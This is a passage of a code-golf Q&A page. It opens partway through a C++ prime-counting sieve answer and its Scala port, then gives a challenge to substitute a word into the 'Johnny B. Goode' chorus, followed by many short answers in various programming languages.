0; i < primes.size() && primes[i] <= limit_i; ++i) { mark_composite(buf, primes[i], poffs[i], seg_start, max_j); } // sieve uint64_t val; const uint64_t stop = std::min(seg_min+seg_len, n); for(uint64_t i = ffsll(~(buf[0]))-((~buf[0]) != 0)+64*((~buf[0]) == 0); (val = 6ULL*(i>>1)+seg_min+2ULL*(i&1ULL)) < stop;) { if(!(buf[i>>dtype_width] & (1ULL << (i & dtype_mask)))) { if(val <= store_max) { // add prime and poffs primes.push_back(val); poffs.emplace_back(); poffs.back()[0] = (val*val-1)/6-1; if(i&1) { // 6n+1 prime poffs.back()[1] = (val*val+4*val-5)/6; } else { // 6n+5 prime poffs.back()[1] = (val*val+2*val-5)/6; } // mark-off multiples mark_composite(buf, val, poffs.back(), seg_start, max_j); } ++res; ++i; } else { uint64_t mask = buf[i>>dtype_width]>>(i&dtype_mask); const int64_t inc = ffsll(~mask)-((~mask) != 0)+64*((~mask) == 0); i += inc; } } seg_min += seg_len; seg_start += buf_size*wheel_width; } } return res; } int main(int argc, char** argv) { if(argc <= 1) { std::cout << "usage: " << argv[0] << " n\n"; return -1; } std::cout << num_primes(std::stoll(argv[1])) << '\n'; } ``` Uses a segmented sieve of Eratosthenes with a wheel factorization of 6 to skip all multiples of 2/3. Makes use of the POSIX `ffsll` to skip consecutive composite values. Could potentially be sped up by making the segmented sieve work in parallel. To compile: ``` g++ -std=c++11 -o sieve -O3 -march=native sieve.cpp ``` ## unofficial timings Timed with an Intel i5-6600k on Ubuntu 15.10, the 1907000000 case took `2.363s`. ``` 41500 4339 real 0m0.001s user 0m0.000s sys 0m0.000s 24850000 1557132 real 0m0.036s user 0m0.032s sys 0m0.000s 40550000 2465109 real 0m0.056s user 0m0.052s sys 0m0.000s 99820000 5751639 real 0m0.149s user 0m0.144s sys 0m0.000s 660000000 34286170 real 0m0.795s user 0m0.788s sys 0m0.000s 1240000000 62366021 real 0m1.468s user 0m1.464s sys 0m0.000s 1337000000 66990613 real 0m1.583s user 0m1.576s sys 0m0.004s 1907000000 93875448 real 0m2.363s user 0m2.356s sys 0m0.000s ``` **Official Times** ``` real 0m9.415s user 0m9.414s sys 0m0.014s real 0m9.315s user 0m9.315s sys 0m0.013s real 0m9.307s user 0m9.309s sys 0m0.012s real 0m9.333s user 0m9.330s sys 0m0.017s real 0m9.288s user 0m9.289s sys 0m0.012s real 0m9.319s user 0m9.318s sys 0m0.015s real 0m9.285s user 0m9.284s sys 0m0.015s real 0m9.342s user 0m9.342s sys 0m0.014s real 0m9.305s user 0m9.305s sys 0m0.014s real 0m9.312s user 0m9.313s sys 0m0.012s ``` [Answer] # Scala Port of [@orlp's Java answer](https://codegolf.stackexchange.com/a/74297/110802) in Scala. So slow. [Try it online!](https://tio.run/##ZZDBTsMwEETv@YrhUGmtiihJoQdEkEDiwAXxC27qgJFjh3iDgmi@PThuWiG4WLM74zeyfSWNnCa3e1cV4xFqYGX3Hvdti@8EaDtt2ViyffPS6UaR7F49ZSJl92RZiCRk9qrG2W/kcIPZiifKSAEoQ29ZGwRfpJULA2kfr4gQGE@cZUf2BHlwzihpzyBdk8UtCoFaGq/iTgVxNMoSBQ4HRLUR4K7/E1kVs5XF0GoT9T/UsQn4lAb@o@Pn0N5IfkvngezyeKyRL8EL2oLdkt19YStSNWjPnjTKu1BE@jIXv4pJr5dZRMQY/2BMpmm6yq@z7Ac) ``` object E extends App { println(numPrime(args(0).toInt)) def numPrime(max: Int): Int = { (0 until max).count(isPrime) } def isPrime(n: Int): Boolean = { if(n < 2) false else if(n == 2 || n == 3) true else if(n%2 == 0 || n%3 == 0) false else { val sqrtN = math.sqrt(n).toInt + 1 !(6 to sqrtN by 6).exists(i => n%(i-1) == 0 || n%(i+1) == 0) } } } ``` ]
[Question] [ Rock-and-roll founding father [Chuck Berry](https://en.wikipedia.org/wiki/Chuck_Berry) sadly passed away today. Consider the [chorus](https://genius.com/Chuck-berry-johnny-b-goode-lyrics) of his [famous](http://www.rollingstone.com/music/lists/the-500-greatest-songs-of-all-time-20110407/chuck-berry-johnny-b-goode-20110516) song "[Johnny B. Goode](https://youtu.be/ZFo8-JqzSCM)": ``` Go, go Go Johnny go, go Go Johnny go, go Go Johnny go, go Go Johnny go, go Johnny B. Goode ``` (There are [other](http://www.azlyrics.com/lyrics/chuckberry/johnnybgoode.html) [ways](http://www.metrolyrics.com/johnny-b-goode-lyrics-chuck-berry.html) it has been punctuated but the above will serve for the purposes of the challenge.) # Challenge Given a nonempty, lowercase string of letters a-z, output the chorus of "Johnny B. Goode" with all the instances of `Go` or `go` replaced with the input string, capitalized in the same way. A trailing newline may optionally follow. Nothing else in the chorus should change. > > **For example**, if the input is `code` the output must be exactly > > > > ``` > Code, code > Code Johnny code, code > Code Johnny code, code > Code Johnny code, code > Code Johnny code, code > Johnny B. Codeode > > ``` > > optionally followed by a newline. > > > Note that the capitalization of all words matches the original chorus, and (despite lack of rhythm) the `Go` in `Goode` is replaced as well as the individual words `Go` and `go`. **The shortest code in bytes wins.** # Test Cases ``` "input" output "go" Go, go Go Johnny go, go Go Johnny go, go Go Johnny go, go Go Johnny go, go Johnny B. Goode "code" Code, code Code Johnny code, code Code Johnny code, code Code Johnny code, code Code Johnny code, code Johnny B. Codeode "a" A, a A Johnny a, a A Johnny a, a A Johnny a, a A Johnny a, a Johnny B. Aode "johnny" Johnny, johnny Johnny Johnny johnny, johnny Johnny Johnny johnny, johnny Johnny Johnny johnny, johnny Johnny Johnny johnny, johnny Johnny B. Johnnyode "fantastic" Fantastic, fantastic Fantastic Johnny fantastic, fantastic Fantastic Johnny fantastic, fantastic Fantastic Johnny fantastic, fantastic Fantastic Johnny fantastic, fantastic Johnny B. Fantasticode ``` [Answer] # Go, 123 bytes *Go Johnny, **Go**!* [Try it online!](https://play.golang.org/p/k3F-bwqIE_) ``` import."strings" func(s string)string{t,e:=Title(s),", "+s+"\n";return t+e+Repeat(t+" Johnny "+s+e,4)+"Johnny B. "+t+"ode"} ``` [Answer] # VIM, ~~54~~ 49 Keystrokes (saved 1 keystroke from [Kritixi Lithos](https://codegolf.stackexchange.com/users/41805/kritixi-lithos)) ``` yw~hC<Ctrl-R>", <Ctrl-R>0<Enter>Johnny B. <Ctrl-R>"ode<Esc>}O<Ctrl-R>", Johnny <Ctrl-R>0, <Ctrl-R>0<Esc>3. ``` --- Start with the word on a line on a file with the cursor at the first character, then this will replace it all with the text Explanation 1. Copy the word into a register, then change the first letter to be capitalized and save that to a register. 2. Write the first line using the registers to fill in the replacements and last lines 3. Write the second line using the registers to fill in the replacements 4. Repeat the middle line 3 times [Try it online!](https://tio.run/nexus/v#@19ZXpfhbOOsW2SnpKMApg24vPIz8vIqFZz0IAJK@SmpNqnFyXa1/jCFUBUQ9TB9YDXGev//p@f/1y0DAA "V – TIO Nexus") (Thanks [DJMcMayhem](https://codegolf.stackexchange.com/users/31716/djmcmayhem)!) [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 37 bytes ``` ™„, ¹J¹Ð™”ÿºÇ ÿ, ÿ”4.D¹™”ºÇ B. ÿode”» ``` [Try it online!](https://tio.run/nexus/05ab1e#@/@oZdGjhnk6Cod2eh3aeXgCmDv38P5Duw63KxzerwPEQL6JnsuhnRApsISTHlA8PyUVxN/9/39aTj4A "05AB1E – TIO Nexus") **Explanation** ``` ™„, ¹J # concatenate title-cased input with ", " and input ¹Ð™ # push input, input, title-cased input ”ÿºÇ ÿ, ÿ” # push the string "ÿ Johnny ÿ, ÿ" with "ÿ" replaced # by title-cased input, input, input 4.D # push 3 copies of that string ¹™ # push title-cased input ”ºÇ B. ÿode” # push the string "Johnny B. ÿode" with "ÿ" replaced # by title-case input » # join the strings by newlines ``` [Answer] # Pure Bash, ~~69~~ 76 bytes ``` M=aaaa;echo -e ${1^}, $1 ${M//a/\\n${1^} Johnny $1, $1}\\nJohnny B. ${1^}ode ``` [Try it online!](https://tio.run/nexus/bash#@@9rmwgE1qnJGfkKuqkKKtWGcbU6CiqGQJavvn6ifkxMHlhMwSs/Iy@vEigDkq0FCkMFnPQgmvJTUv///58MpL7m5esmJyZnpAIA "Bash – TIO Nexus") [Answer] ## Batch, 207 bytes ``` @set s= %1 @for %%l in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z)do @call set s=%%s: %%l=%%l%% @set j="%s% Johnny %1, %1" @for %%l in ("%s%, %1" %j% %j% %j% %j% "Johnny B. %s%ode")do @echo %%~l ``` [Answer] # JavaScript, 98 ``` s=>[S=s[0].toUpperCase()+s.slice(1),[,,,].fill(` ${s} ${S} Johnny `+s)]+`, ${s} Johnny B. ${S}ode` ``` Abuses array-to-string serialization to create commas. Builds an array of the form: ``` ["Go", " go\nGo Johnny go", (repeated...)] ``` And concatenates it to the string of the form `", go\nJohnny B. Goode"`: ``` ["Go", " go\nGo Johnny go", " go\nGo Johnny go", " go\nGo Johnny go", " go\nGo Johnny go"] + ", go\nJohnny B. Goode" ``` [Answer] # JavaScript (ES6), ~~104~~ ~~101~~ 99 bytes ``` (i,u=i[0].toUpperCase()+i.slice(1),x=`, ${i} ${u} Johnny `+i)=>u+x+x+x+x+`, ${i} Johnny B. ${u}ode` ``` Previous version: ``` (i,u=i[0].toUpperCase()+i.slice(1))=>u+`, ${i} ${u} Johnny ${i}`.repeat(4)+`, ${i} Johnny B. ${u}ode` ``` --- **How it works:** * It's an anonymous function that takes the input as the parameter `i` * Defines a variable `u` as the input `i` with the first letter capitalized (Note that this assumes input is nonempty, which is OK) * Just directly construct the string to be returned from those two variables. * Repeating the string `"go, \nGo Johnny go"` four times instead of repeating `"Go Johnny go, go"` saves one byte. --- **Edit 1:** Forgot to golf out the semicolon, haha!! Also miscounted the bytes, it was originally 102, not 104. Thanks [apsillers](https://codegolf.stackexchange.com/users/7796/apsillers). **Edit 2:** Instead of `.repeat(4)`, by putting that string in a variable `x` and doing `x+x+x+x` allows saving two bytes. --- ### Test snippet ``` let f = (i,u=i[0].toUpperCase()+i.slice(1),x=`, ${i} ${u} Johnny `+i)=>u+x+x+x+x+`, ${i} Johnny B. ${u}ode`; ``` ``` <input id=I type="text" size=70 value="code"><button onclick="console.log(f(I.value))">Run</button> ``` [Answer] # [V](https://github.com/DJMcMayhem/V), ~~41~~, 38 bytes ``` ÄJé,Ùäwa johnny 5ÄGdwwcWB.W~Aode.Î~ ``` [Try it online!](https://tio.run/##K/v//3CL1@GVOodnHl5SnqiQlZ@Rl1epIG16uMU9pbw8OdxJTzq8zjE/JVVP@nBf3f//aYl5JYnFJZnJAA "V – Try It Online") The perfect challenge for V! Explanation: ``` ä$ " Duplicate the input ('go' --> 'gogo', and cursor is on the first 'o') a, <esc> " Append ', ' " Now the buffer holds 'go, go' Ù " Duplicate this line äw " Duplicate this word (Buffer: 'gogo, go') a Johnny <esc> " Append ' Johnny ' (Buffer: 'go Johnny go, go') 5Ä " Make 5 copies of this line G " Go to the very last line in the buffer dw " Delete a word w " Move forward one word (past 'Johnny') cW " Change this WORD (including the comma), to B.<esc> " 'B.' W " Move forward a WORD ~ " Toggle the case of the character under the cursor Aode.<esc> " Apppend 'ode.' ÎvU " Capitalize the first letter of each line ``` [Answer] # Pyth - 52 bytes ``` j", "_ArBQ3V4s[H" Johnny "G", "G;%"Johnny B. %sode"H ``` [Test Suite](http://pyth.herokuapp.com/?code=j%22%2C+%22_ArBQ3V4s%5BH%22+Johnny+%22G%22%2C+%22G%3B%25%22Johnny+B.+%25sode%22H&test_suite=1&test_suite_input=%22go%22%0A%22code%22%0A%22a%22%0A%22fantastic%22&debug=0). [Answer] # C, ~~156~~ 151 bytes ``` i,a,b;B(char*s){a=*s++;printf("%c%s, %c%s\n",b=a-32,s,a,s);for(;++i%4;)printf("%c%s Johnny %c%s, %c%s\n",b,s,a,s,a,s);printf("Johnny B. %c%sode",b,s);} ``` [Answer] ## Python 3, 88 bytes ``` lambda x:("{0}, {1}\n"+4*"{0} Johnny {1}, {1}\n"+"Johnny B. {0}ode").format(x.title(),x) ``` A simple format string, with positional arguments. [Answer] ## [Retina](https://github.com/m-ender/retina), 65 bytes Byte count assumes ISO 8859-1 encoding. ``` ^ $', :T01`l`L :`, Johnny$', :`$ ¶$` (\S+) (\S+ ).+$ $2B. $1ode ``` [Try it online!](https://tio.run/nexus/retina#@x/HpaKuo8BlFWJgmJCT4MNllaDDpeCVn5GXVwmUAHJVuA5tU0ng0ogJ1tZUAJEKmnraKlwqRk56CiqG@Smp//@nZqan5uUCAA "Retina – TIO Nexus") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 41 bytes ``` 5“ Johnny “, “¶”ẋj¹Ḋṙ7ỴŒu1¦€Y“B. ”⁸Œt“ode ``` [Try it online!](https://tio.run/nexus/jelly#@2/6qGGOgld@Rl5epQKQqQMiDm171DD34a7urEM7H@7oerhzpvnD3VuOTio1PLTsUdOaSKAKJz2gurmPGnccnVQC5OanpP7//z8LbAoA "Jelly – TIO Nexus") [Answer] # Python, 94 bytes ``` lambda s:("|, #\n"+"| Johnny #, #\n"*4+"Johnny B. |ode").replace("|",s.title()).replace("#",s) ``` [Answer] # C#, ~~219~~ ~~211~~ ~~212~~ ~~146~~ 122 Bytes Implemented multiple suggestions from comments with additional optimization This is the Endresult: ``` a=>{string x=(char)(a[0]^32)+a.Remove(0,1),n=a+"\n",c=", ",r=n+x+" Johnny "+a+c;return x+c+r+r+r+r+n+$"Johnny B. {x}ode";} ``` [Try it online!](https://tio.run/nexus/cs-mono#pZFNa8MwDIbv@RXC7GBjE7rtmLmHDnoYG4ztsEPXgXCd1qWVwXZKSshvz/LRcy@RDkLo0Ste1FXR0R6@rzHZc5GZE8YIn1mTQR8xYXIGLt7t4AMd8ZhCT2@2UKEYiYkbYl2ReZnmCqa6hBI0oF42Uw@15uaAQXDcLLZ/z09CYv5lz/5i@UI9CkUaJfslpoxmCpgKmmQtGbz5A9EVmERpimBTFQhqaWS4JckHdmNWOTR163eWFW2RTbbyV0/Rn2z@E1yy744sLznbeybEHUTcXzfDjTkCOGv7ONqdJVEiJYz9g0eV4Ydt1nbdPw "C# (Mono) – TIO Nexus") Explantation: ``` a=>//Input parameter Explanation assumes "go" was passed { string x = (char)(a[0] ^ 32) + a.Remove(0, 1)// Input with first letter Uppercase "go"->"Go" , n = a + "\n", //"go" followed by newline c = ", " //Hard to believe: Comma followed by space , r = n + x + " Johnny " + a + c //"go" follwed by newline followed by "Go Johnny go, " ; return x + c + r + r + r + r + n + $"Johnny B. {x}ode"; };//return in the right order //Johnny B. Goode ``` Output for testcases: ``` Go, go Go Johnny go, go Go Johnny go, go Go Johnny go, go Go Johnny go, go Johnny B. Goode Code, code Code Johnny code, code Code Johnny code, code Code Johnny code, code Code Johnny code, code Johnny B. Codeode A, a A Johnny a, a A Johnny a, a A Johnny a, a A Johnny a, a Johnny B. Aode Johnny, johnny Johnny Johnny johnny, johnny Johnny Johnny johnny, johnny Johnny Johnny johnny, johnny Johnny Johnny johnny, johnny Johnny B. Johnnyode Fantastic, fantastic Fantastic Johnny fantastic, fantastic Fantastic Johnny fantastic, fantastic Fantastic Johnny fantastic, fantastic Fantastic Johnny fantastic, fantastic Johnny B. Fantasticode ``` Edit: Thanks to weston for suggesting using a function [Answer] # MATLAB/[Octave](https://www.gnu.org/software/octave/), ~~133~~ 111 bytes ``` @(a)regexprep(['1, 2' 10 repmat(['1 32, 2' 10],1,4) '3B. 1ode'],{'1','2','3'},{[a(1)-32 a(2:end)],a,'Johnny '}) ``` It's a start. Can hopefully be reduced further. Basically it's an anonymous function which takes a string input and then uses regex to create the required output. ``` @(a) %Anonymous Function regexprep( %Regex Replace ['1, 2' 10 %First line is: Code, code repmat(['1 32, 2' 10],1,4) %Then four lines of: Code Johnny code, code '3B. 1ode'], %Final line: Johnny B. Codeode {'1','2','3'}, %1,2,3 are our replace strings in the lines above {[a(1)-32 a(2:end)],a,'Johnny '} %We replace with '(I)nput', 'input' and 'Johnny ' respectively. ) ``` An example: ``` @(a)regexprep(['1, 2' 10 repmat(['1 32, 2' 10],1,4) '3B. 1ode'],{'1','2','3'},{[a(1)-32 a(2:end)],a,'Johnny '}); ans('hi') ans = Hi, hi Hi Johnny hi, hi Hi Johnny hi, hi Hi Johnny hi, hi Hi Johnny hi, hi Johnny B. Hiode ``` ~~You can *sort of* [Try it online!](https://tio.run/nexus/octave#LcgxCsJAEEbhq0z378AozqyVlVh6hbDFQAZj4SZECyXk7GsEi1e8r52T8xy3eE9zTKmDChlID7Ttw18/oWx/LKJyZEK@7EnHPlBkgUJgWxmrLJ0n5V028mSnqD0XccF1HGr9EFZuXp8Jwx3cvg "Octave – TIO Nexus"). The code doesn't quite work with Octave as all the upper case letters become `${upper($0)}`, whereas in MATLAB this is converted to the actual upper case letter.~~ Given the input is guaranteed to only be `a-z` (lowercase alphabet), I can save 22 bytes by using a simple subtraction of 32 to convert the first letter in the string to capital, rather than using regex with the `upper()` function. As a result, the code now works with Octave as well, so you can now [Try it online!](https://tio.run/nexus/octave#LcgxCsJAEEbhq0z378AozqyVlVh6hbDFQAZj4SZECyXk7GsEi1e8r52T8xy3eE9zTKmDChlID7Ttw18/oWx/LKJyZEK@7EnHPlBkgUJgWxmrLJ0n5V028mSnqD0XccF1HGr9EFZuXp8Jwx3cvg "Octave – TIO Nexus") [Answer] # Ruby, ~~89~~ ~~88~~ ~~86~~ 79 bytes My first golf submission : ``` ->x{"^, * #{"^ Johnny *, * "*4}Johnny B. ^ode".gsub(?^,x.capitalize).gsub ?*,x} ``` Thanks a lot to @manatwork for his awesome comment : 7 bytes less! [Answer] # [Nova](https://github.com/NovaFoundation/Nova), 105 bytes ``` a(String s)=>"#{s.capitalize()+", #s\n"+"#s.capitalize() Johnny #s, #s\n"*4}Johnny B. #s.capitalize()ode" ``` Because Nova (<http://nova-lang.org>) is extremely early beta (and buggy), there are some obvious handicaps that are in place here keeping it from using even less bytes. For example, could have saved capitalized function call (which is called 3 times) in a local variable like this: ``` a(String s)=>"#{(let c=s.capitalize())+", #s\n"+"#c Johnny #s, #s\n"*4}Johnny B. #{c}ode" ``` which would have taken the byte count down to **89 bytes**. The reason this doesn't work now can be blamed on the argument evaluation order in the C language, because Nova is compiled to C. (The argument evaluation order will be fixed in a future update) Even more, I could have introduced a "title" property in the String class (and I will after doing this lol) to reduce the count from the capitalization function call: ``` a(String s)=>"#{(let c=s.title)+", #s\n"+"#c Johnny #s, #s\n"*4}Johnny B. #{c}ode" ``` and that would free up 7 bytes to a new total of **82 bytes**. Furthermore (and further off), once lambda variable type inference is added, this would be valid: ``` s=>"#{(let c=s.title)+", #s\n"+"#c Johnny #s, #s\n"*4}Johnny B. #{c}ode" ``` The count could be brought down to **72 bytes**. By the way, this is my first code golf, so I probably have missed even more optimizations that could have been made. And this being a **non-golf centric**, **general purpose** language, I think it's pretty impressive. The first 105 byte code works in the current Nova Beta v0.3.8 build available on <http://nova-lang.org> ``` class Test { static a(String s)=>"#{s.capitalize()+", #s\n"+"#s.capitalize() Johnny #s, #s\n"*4}Johnny B. #s.capitalize()ode" public static main(String[] args) { Console.log(a("expl")) } } ``` outputs: ``` Expl, expl Expl Johnny expl, expl Expl Johnny expl, expl Expl Johnny expl, expl Expl Johnny expl, expl Johnny B. Explode ``` Thank you for listening to my shameless advertisement for the general purpose language Nova (found at <http://nova-lang.org> ...get it now!!) [Answer] # Brainfuck, 352 bytes ``` ,[>+>+<<-]++++++++[>----<-]>.>>>,[.>,]++++++[>+++++++>+++++>++<<<-]>++.>++.>--<<<<[<]<.>>[.>]>>>.>++++++++[>+++++++++>+++++++<<-]>>[<<++>>-]<<[>>+>+>+>+>+<<<<<<-]>++>->-------->-->-->+++++++++>>++++[<<[<]<<<<<[<]<<.>>>[.>]>>.>>>[.>]<[<]<<.<<<[<]<.>>[.>]>.>.<<<[<]<.>>[.>]>>>.>>[>]>-]<<[<]>[.>]<[<]<<.>>>--------.<<<<++.>.<<<[<]<<.>>>[.>]>>>>>>.>----.+. ``` [Try it online!](https://copy.sh/brainfuck/?c=LFs-Kz4rPDwtXSsrKysrKysrWz4tLS0tPC1dPi4-Pj4sWy4-LF0rKysrKytbPisrKysrKys-KysrKys-Kys8PDwtXT4rKy4-KysuPi0tPDw8PFs8XTwuPj5bLj5dPj4-Lj4rKysrKysrK1s-KysrKysrKysrPisrKysrKys8PC1dPj5bPDwrKz4-LV08PFs-Pis-Kz4rPis-Kzw8PDw8PC1dPisrPi0-LS0tLS0tLS0-LS0-LS0-KysrKysrKysrPj4rKysrWzw8WzxdPDw8PDxbPF08PC4-Pj5bLj5dPj4uPj4-Wy4-XTxbPF08PC48PDxbPF08Lj4-Wy4-XT4uPi48PDxbPF08Lj4-Wy4-XT4-Pi4-Pls-XT4tXTw8WzxdPlsuPl08WzxdPDwuPj4-LS0tLS0tLS0uPDw8PCsrLj4uPDw8WzxdPDwuPj4-Wy4-XT4-Pj4-Pi4-LS0tLS4rLg$$) 1. Get the input. 2. Save special characters for later. 3. Write the first part. 4. Save "Johnny" for later 5. Print "Go Johnny go, go" four times 6. Write The last part I always like challenges in Brainfuck so it was fun. It can probably be golfed more but golfing Brainfuck is kind of long. [Answer] # PHP, 86 Bytes ``` echo strtr("1, 0\n2222Johnny B. 1ode",[$l=$argn,$u=ucfirst($l),"$u Johnny $l, $l\n"]); ``` [Answer] # Java 8, ~~151~~ ~~147~~ ~~146~~ 130 bytes ``` s->{String x=(char)(s.charAt(0)^32)+s.substring(1),n=s+"\n",r=n+x+" Johnny "+s+", ";return x+", "+r+r+r+r+n+"Johnny B. "+x+"ode";} ``` **Explanation:** [Try it here.](https://tio.run/##pVDLasMwELz7KxadJOSIPo7GgeYYaC499gGKrCR2nZXRysEh@Ntd2ejYXhoEknZ2ZpnZRl/0ynUWm@p7Mq0mgldd4y0DqDFYf9DGwm4uAd6Cr/EIhqcPiSLiYxYvCjrUBnaAUMJEq/UtcYaSm5P2gpOa35fAH8TX85OQpKjf00LijyLHkiT7QJb7EuUgGWzdCfEKTEY8B1Z4G3qPMCyV9OmgZIm4URGOXVdZVoxTMbvq@n0bXSVzF1dXcI7hkv/3T9AiJbtSsGfl@qC62AotclSGs6NjYgn5K@XvziI2s5X/y/Ud2mbZyR0DDhqDpri1NGPMxukH) ``` s->{ // Method with String as both parameter and return-type String x= // Temp String with: (char)(s.charAt(0)^32) // The first letter capitalized +s.substring(1), // + the rest of the String n=s+"\n", // Temp String with input + new-line c=", ", // Temp String with ", " r=n+x+" Johnny "+s+c; // Temp String with "input\nInput Johnny input, " return x+c+r+r+r+r+n+"Johnny B. "+x+"ode"; // Return output by putting together the temp Strings } // End of method ``` [Answer] # [Stacked](https://github.com/ConorOBrien-Foxx/stacked), 64 bytes ``` :@n tc@N('%N, %n '!'%N Johnny %n, %n '!4*'Johnny B. 'N'ode'!)sum ``` [Try it online!](https://tio.run/nexus/stacked#U8/Kz8hT/2/lkKdQkuzgp6Gu6qejoJrHpa4IZCl4ASXzKoF8qJiJljpUyElPQd1PPT8lVV1Rs7g0939@acl/AA "stacked – TIO Nexus") [Answer] ## [C#](http://csharppad.com/gist/aafba32276210e86607fcd502ba14855), ~~159~~ ~~130~~ 128 bytes --- **Golfed** ``` i=>string.Format("{0},{1}????\n{2} B. {0}ode".Replace("?","\n{0} {2}{1},{1}"),(i[0]+"").ToUpper()+i.Substring(1)," "+i,"Johnny"); ``` --- **Ungolfed** ``` i => string.Format( "{0},{1}????\n{2} B. {0}ode" .Replace( "?", "\n{0} {2}{1},{1}" ), ( i[ 0 ] + "" ).ToUpper() + i.Substring( 1 ), // {0} " " + i, // {1} "Johnny" ); // {2} ``` --- **Ungolfed readable** ``` i => string.Format( @"{0},{1} ???? {2} B. {0}ode" // Replaces the '?' for the string format that contains the // repetition of "___ Johnny ___, ___". .Replace( "?", "\n{0} {2}{1},{1}" ), // {0} - Converts the first letter to upper, // then joins to the rest of the string minus the first letter ( i[ 0 ] + "" ).ToUpper() + i.Substring( 1 ), // {1} - The input padded with a space, to save some bytes " " + i, // {2} - The name used as parameter, to save some bytes "Johnny" ); ``` --- **Full code** ``` using System; namespace Namespace { class Program { static void Main( string[] args ) { Func<string, string> func = i => string.Format( "{0},{1}????\n{2} B. {0}ode" .Replace( "?", "\n{0} {2}{1},{1}" ), ( i[ 0 ] + "" ).ToUpper() + i.Substring( 1 ), " " + i, "Johnny" ); int index = 1; // Cycle through the args, skipping the first ( it's the path to the .exe ) while( index < args.Length ) { Console.WriteLine( func( args[index++] ) ); } Console.ReadLine(); } } } ``` --- [Answer] # **Javascript - ~~72~~ 106 bytes** ~~**Edit: Oops!! I didn't pay attention to the capitalization rules! It'll be longer after a while**~~ **Edit 2: Should be following the rules now!** Could probably be golfed more ``` c=>(`G,g `+`G Johnnyg,g `.repeat(4)+`Johnny B.Gode`).replace(/g/g,' '+c.toLowerCase()).replace(/G/g,' '+c) ``` Used as: ``` c=>(`G,g `+`G Johnnyg,g `.repeat(4)+`Johnny B.Gode`).replace(/g/g,' '+c.toLowerCase()).replace(/G/g,' '+c) alert(f("Code")); alert(f("Go")); ``` [Answer] # Excel VBA, ~~137~~ ~~121~~ ~~112~~ ~~89~~ ~~87~~ 84 Bytes Anonymous VBE immediate window function that takes input of type `Variant/String` from cell `[A1]` and outputs by printing the the VBE immediate window ``` c=[Proper(A1)]:s=vbCr+c+[" Johnny "&A1&", "&A1]:?c", "[A1]s;s;s;s:?"Johnny B. "c"ode ``` -16 Bytes for converting to Immediate window function -9 Bytes for using `[PROPER(A1)]` -23 Bytes for dropping `For ...` loop and abusing the `?` statement -2 Bytes for replacing `" Johnny "&[A1]&", "&[A1]` with `[" Johnny "&A1&", "&A1]` -3 Bytes for using `+` over `&` for String concatenation and leaving the terminal string unclosed ## Example Case ``` [A1]="an" '' <- Setting [A1] (may be done manually) '' (Below) Anonymous VBE function c=[Proper(A1)]:s=vbCr+c+[" Johnny "&A1&", "&A1]:?c", "[A1]s;s;s;s:?"Johnny B. "c"ode" An, an '' <- output An Johnny an, an An Johnny an, an An Johnny an, an An Johnny an, an Johnny B. Anode ``` [Answer] # [CJam](https://sourceforge.net/p/cjam), 50 bytes ``` r:L(eu\+:M',SLN[MS"Johnny ":OL',SLN]4*O"B. "M"ode" ``` [Try it online!](https://tio.run/nexus/cjam#@19k5aORWhqjbeWrrhPs4xftG6zklZ@Rl1epoGTl7wMWizXR8ldy0lNQ8lXKT0lV@v8/LTGvJLG4JDMZAA "CJam – TIO Nexus") Explanation: ``` r:L(eu\+:M',SLN[MS"Johnny ":OL',SLN]4*O"B. "M"ode" e# Accepts an input token. r:L e# Gets input token and stores it in L. (eu\+:M e# Converts token to uppercase-first and stores it in M. ',S e# Appears as ", ". L e# Input token. N e# Newline. [ e# Opens array. M e# Modified token. S e# Space. "Johnny ":O e# Pushes "Johnny " and stores it in O. L e# Input token. ',SLN e# The same {',SLN} as before. ]4* e# Closes array and repeats it 4 times. O e# "Johnny ". "B. " e# "B. ". M e# Modified token. "ode" e# "ode". ``` [Answer] # [Pyke](https://github.com/muddyfish/PYKE), 43 bytes ``` l5j", "Qs3 Qld"Johnny "iQs3:D4i"B. ode"+Tj: ``` [Try it online!](https://tio.run/nexus/pyke#@59jmqWko6AUWGzMFZiTouSVn5GXV6mglAkUsHIxyVRy0lPIT0lV0g7Jsvr/PwssCwA "Pyke – TIO Nexus") Constructs and prints the first line then inserts `Johnny go` before the comma and duplicates that 4 times. Finally constructs the last part. [Answer] # Python, 258 bytes ``` from jinja2 import Template def f(go): t = Template("""{{ Go }}, {{ go }} {{ Go }} Johnny {{ go }}, {{ go }} {{ Go }} Johnny {{ go }}, {{ go }} {{ Go }} Johnny {{ go }}, {{ go }} {{ Go }} Johnny {{ go }}, {{ go }} Johnny B. {{ Go }}ode""") return t.render(Go=go.title(), go=go) ``` [Answer] # Java 6, ~~258~~ 242 bytes ``` enum j{;public static void main(String[]a){char[]b=a[0].toCharArray();b[0]^=32;System.out.printf("%1$s, %2$s\n%1$s %3$s%2$s, %2$s\n%1$s %3$s%2$s, %2$s\n%1$s %3$s%2$s, %2$s\n%1$s %3$s%2$s, %2$s\n%3$sB. %1$sode",new String(b),a[0],"Johnny ");}} ``` Longest part of it is the format for printf. There are problems with input different than string from `a` to `z`(yes I know I don't need to support anything else). Ungolfed with comments: ``` enum j { ; public static void main(String[] a) { char[] b = a[0].toCharArray(); // Copy of the input string b[0]^=32; // First character of copy to uppercase System.out.printf( "%1$s, %2$s\n%1$s %3$s%2$s, %2$s\n%1$s %3$s%2$s, %2$s\n%1$s %3$s%2$s, %2$s\n%1$s %3$s%2$s, %2$s\n%3$sB. %1$sode", // Format string new String(b), // Capitalized string a[0], // Original input string "Johnny "); // "Johnny " } } ``` EDIT: Golfed 16 bytes thanks to weston [Answer] # Mathematica, 83 bytes ``` {a=ToTitleCase@#,b=", ",#,{" ",a," Johnny ",#,b,#}~Table~4," Johnny B. ",a}<>"ode"& ``` Anonymous function. Takes a string as input and returns a string as output. Could probably be golfed further. ]
